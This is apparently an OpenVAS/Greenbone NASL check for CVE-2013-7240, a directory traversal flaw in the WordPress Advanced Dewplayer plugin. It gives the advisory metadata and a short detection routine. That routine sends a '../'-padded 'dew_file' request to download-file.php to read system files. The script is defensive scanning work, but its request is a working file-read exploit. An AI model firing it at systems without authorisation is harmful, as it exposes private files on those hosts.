WordPress Advanced Dewplayer 'dew_file' Directory Traversal Vulnerability

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804058");
  script_version("2023-07-27T05:05:09+0000");
  script_cve_id("CVE-2013-7240");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"last_modification", value:"2023-07-27 05:05:09 +0000 (Thu, 27 Jul 2023)");
  script_tag(name:"creation_date", value:"2014-01-07 16:29:23 +0530 (Tue, 07 Jan 2014)");
  script_name("WordPress Advanced Dewplayer 'dew_file' Directory Traversal Vulnerability");

  script_tag(name:"summary", value:"WordPress Advanced Dewplayer Plugin is prone to a directory traversal vulnerability.");
  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request and check whether it is able to read
local file or not.");
  script_tag(name:"solution", value:"Update to WordPress Advanced Dewplayer 1.3 or later.");
  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"insight", value:"Flaw is due to the 'download-file.php' script not properly sanitizing user
input, specifically path traversal style attacks (e.g. '../') supplied via
the 'dew_file' parameter.");
  script_tag(name:"affected", value:"WordPress Advanced Dewplayer 1.2, Other versions may also be affected.");
  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to read arbitrary files
on the target system.");

  script_xref(name:"URL", value:"http://secunia.com/advisories/55941");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/64587");
  script_xref(name:"URL", value:"http://seclists.org/oss-sec/2013/q4/566");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("wordpress/http/detected");
  script_require_ports("Services/www", 80);
  script_xref(name:"URL", value:"http://wordpress.org/plugins/advanced-dewplayer");
  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

files = traversal_files();

foreach file (keys(files)) {
  url = dir + "/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=" + crap(data:"../",length:3*15) + files[file];
  if(http_vuln_check(port:port, url:url, pattern:file)) {
    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);